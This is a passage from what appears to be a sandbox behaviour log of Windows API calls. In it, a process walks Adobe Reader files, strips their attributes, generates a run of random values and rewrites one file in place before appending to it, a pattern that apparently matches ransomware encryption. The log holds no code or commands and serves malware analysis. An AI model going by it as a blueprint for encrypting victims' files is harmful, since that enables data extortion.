Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NLD" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.nld")) returned 0x20 [0137.596] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NLD", dwFileAttributes=0x20) returned 0 [0137.597] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NLD" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.nld"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.600] GetLastError () returned 0x5 [0137.600] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NLD", dwFileAttributes=0x20) returned 0 [0137.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c6f0) returned 1 Thread: id = 2027 os_tid = 0x12a0 [0137.605] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NOR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.nor")) returned 0x20 [0137.607] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NOR", dwFileAttributes=0x20) returned 0 [0137.608] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NOR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.nor"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.612] GetLastError () returned 0x5 [0137.612] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NOR", dwFileAttributes=0x20) returned 0 [0137.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205deb0) returned 1 Thread: id = 2028 os_tid = 0x12a4 [0137.617] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.POL" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.pol")) returned 0x20 [0137.619] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.POL", dwFileAttributes=0x20) returned 0 [0137.620] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.POL" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.pol"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.624] GetLastError () returned 0x5 [0137.624] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.POL", dwFileAttributes=0x20) returned 0 [0137.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205de10) returned 1 Thread: id = 2029 os_tid = 0x12a8 [0137.628] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.PTB" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.ptb")) returned 0x20 [0137.630] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.PTB", dwFileAttributes=0x20) returned 0 [0137.631] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.PTB" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.ptb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.634] GetLastError () returned 0x5 [0137.634] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.PTB", dwFileAttributes=0x20) returned 0 [0137.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dcd0) returned 1 Thread: id = 2030 os_tid = 0x12ac [0137.640] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUM" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.rum")) returned 0x20 [0137.641] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUM", dwFileAttributes=0x20) returned 0 [0137.643] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUM" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.rum"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.646] GetLastError () returned 0x5 [0137.646] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUM", dwFileAttributes=0x20) returned 0 [0137.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b00b0) returned 1 Thread: id = 2031 os_tid = 0x12b0 [0137.651] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.rus")) returned 0x20 [0137.653] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUS", dwFileAttributes=0x20) returned 0 [0137.662] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.rus"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.666] GetLastError () returned 0x5 [0137.666] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUS", dwFileAttributes=0x20) returned 0 [0137.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b01f0) returned 1 Thread: id = 2032 os_tid = 0x12b4 [0137.671] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SKY" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.sky")) returned 0x20 [0137.675] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SKY", dwFileAttributes=0x20) returned 0 [0137.676] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SKY" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.sky"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.679] GetLastError () returned 0x5 [0137.680] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SKY", dwFileAttributes=0x20) returned 0 [0137.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0330) returned 1 Thread: id = 2033 os_tid = 0x12b8 [0137.683] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SLV" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.slv")) returned 0x20 [0137.685] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SLV", dwFileAttributes=0x20) returned 0 [0137.687] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SLV" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.slv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.690] GetLastError () returned 0x5 [0137.690] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SLV", dwFileAttributes=0x20) returned 0 [0137.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0150) returned 1 Thread: id = 2034 os_tid = 0x12bc [0137.695] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SUO" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.suo")) returned 0x20 [0137.698] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SUO", dwFileAttributes=0x20) returned 0 [0137.701] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SUO" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.suo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.704] GetLastError () returned 0x5 [0137.704] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SUO", dwFileAttributes=0x20) returned 0 [0137.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1870) returned 1 Thread: id = 2035 os_tid = 0x12c0 [0137.707] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SVE" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.sve")) returned 0x20 [0137.709] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SVE", dwFileAttributes=0x20) returned 0 [0137.711] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SVE" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.714] GetLastError () returned 0x5 [0137.714] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SVE", dwFileAttributes=0x20) returned 0 [0137.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1cd0) returned 1 Thread: id = 2036 os_tid = 0x12c4 [0137.722] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.TUR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.tur")) returned 0x20 [0137.724] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.TUR", dwFileAttributes=0x20) returned 0 [0137.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.TUR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.tur"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.729] GetLastError () returned 0x5 [0137.729] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.TUR", dwFileAttributes=0x20) returned 0 [0137.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0470) returned 1 Thread: id = 2037 os_tid = 0x12c8 [0137.733] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.UKR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.ukr")) returned 0x20 [0137.735] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.UKR", dwFileAttributes=0x20) returned 0 [0137.736] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.UKR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.739] GetLastError () returned 0x5 [0137.739] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.UKR", dwFileAttributes=0x20) returned 0 [0137.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 Thread: id = 2038 os_tid = 0x12cc [0137.743] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cat")) returned 0x20 [0137.746] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT", dwFileAttributes=0x20) returned 0 [0137.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.751] GetLastError () returned 0x5 [0137.751] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT", dwFileAttributes=0x20) returned 0 [0137.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1af0) returned 1 Thread: id = 2039 os_tid = 0x12d0 [0137.754] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.chs")) returned 0x20 [0137.757] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS", dwFileAttributes=0x20) returned 0 [0137.759] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.chs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.762] GetLastError () returned 0x5 [0137.762] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS", dwFileAttributes=0x20) returned 0 [0137.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1b90) returned 1 Thread: id = 2040 os_tid = 0x12d4 [0137.766] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cht")) returned 0x20 [0137.768] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT", dwFileAttributes=0x20) returned 0 [0137.770] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cht"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.773] GetLastError () returned 0x5 [0137.773] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT", dwFileAttributes=0x20) returned 0 [0137.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1eb0) returned 1 Thread: id = 2041 os_tid = 0x12d8 [0137.777] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CZE" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cze")) returned 0x20 [0137.780] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CZE", dwFileAttributes=0x20) returned 0 [0137.782] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CZE" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cze"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.784] GetLastError () returned 0x5 [0137.785] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CZE", dwFileAttributes=0x20) returned 0 [0137.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1d70) returned 1 Thread: id = 2042 os_tid = 0x12dc [0137.788] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\adobe.reader.dependencies.manifest")) returned 0x20 [0137.790] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest", dwFileAttributes=0x20) returned 1 [0137.791] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\adobe.reader.dependencies.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e24 [0137.791] GetFileSizeEx (in: hFile=0x1e24, lpFileSize=0x33f5fac0 | out: lpFileSize=0x33f5fac0*=1472) returned 1 [0137.791] SetFilePointerEx (in: hFile=0x1e24, liDistanceToMove=0x5bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.791] ReadFile (in: hFile=0x1e24, lpBuffer=0x33f5fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33f5fa88, lpOverlapped=0x0 | out: lpBuffer=0x33f5fa40*, lpNumberOfBytesRead=0x33f5fa88*=0x4, lpOverlapped=0x0) returned 1 [0137.798] SetFilePointerEx (in: hFile=0x1e24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0137.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0137.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261640 [0137.798] NtQuerySystemTime (in: CurrentTime=0x33f5f980 | out: CurrentTime=0x33f5f980*=132462177430438000) returned 0x0 [0137.798] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x44429b75 [0137.798] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x4977930 [0137.798] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x1c383b8b [0137.798] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x13577dda [0137.798] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x372b602f [0137.798] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x76de0fe2 [0137.798] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x75b222a2 [0137.798] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x5d80c531 [0137.798] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x4de4d352 [0137.798] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x45a4359 [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x70f44022 [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x7b11861e [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x94d0e3b [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x10dde4c9 [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x1f5bf3f4 [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x2bee179b [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x5c8121c1 [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x777e632c [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x6dc649ab [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x7506bfa2 [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x211c1c41 [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x72d569f2 [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x3a3cbc33 [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x8959dc1 [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x29500932 [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x191d069b [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x525bcbfa [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x480ed1ae [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x21457af8 [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x5d3fa45b [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x7573da2d [0137.799] RtlRandomEx (in: Seed=0x33f5f970 | out: Seed=0x33f5f970) returned 0x5eb088fe [0137.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609b0 [0137.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b90 [0137.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261640) returned 1 [0137.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e90) returned 1 [0137.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0137.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0137.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e90) returned 1 [0137.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2030a0b0 [0137.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203118d0 [0137.809] ReadFile (in: hFile=0x1e24, lpBuffer=0x2030a0b0, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x33f5f970, lpOverlapped=0x0 | out: lpBuffer=0x2030a0b0*, lpNumberOfBytesRead=0x33f5f970*=0x5c0, lpOverlapped=0x0) returned 1 [0137.809] SetFilePointerEx (in: hFile=0x1e24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.809] WriteFile (in: hFile=0x1e24, lpBuffer=0x203118d0*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x33f5f974, lpOverlapped=0x0 | out: lpBuffer=0x203118d0*, lpNumberOfBytesWritten=0x33f5f974*=0x5c0, lpOverlapped=0x0) returned 1 [0137.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0137.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261640 [0137.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261640) returned 1 [0137.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203118d0) returned 1 [0137.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2030a0b0) returned 1 [0137.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0137.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c490 [0137.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0137.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261640 [0137.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261640) returned 1 [0137.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1ced5ec0 [0137.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261640 [0137.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0137.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0137.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0137.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x136) returned 0x1885d0 [0137.829] SetFilePointerEx (in: hFile=0x1e24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0137.829] WriteFile (in: 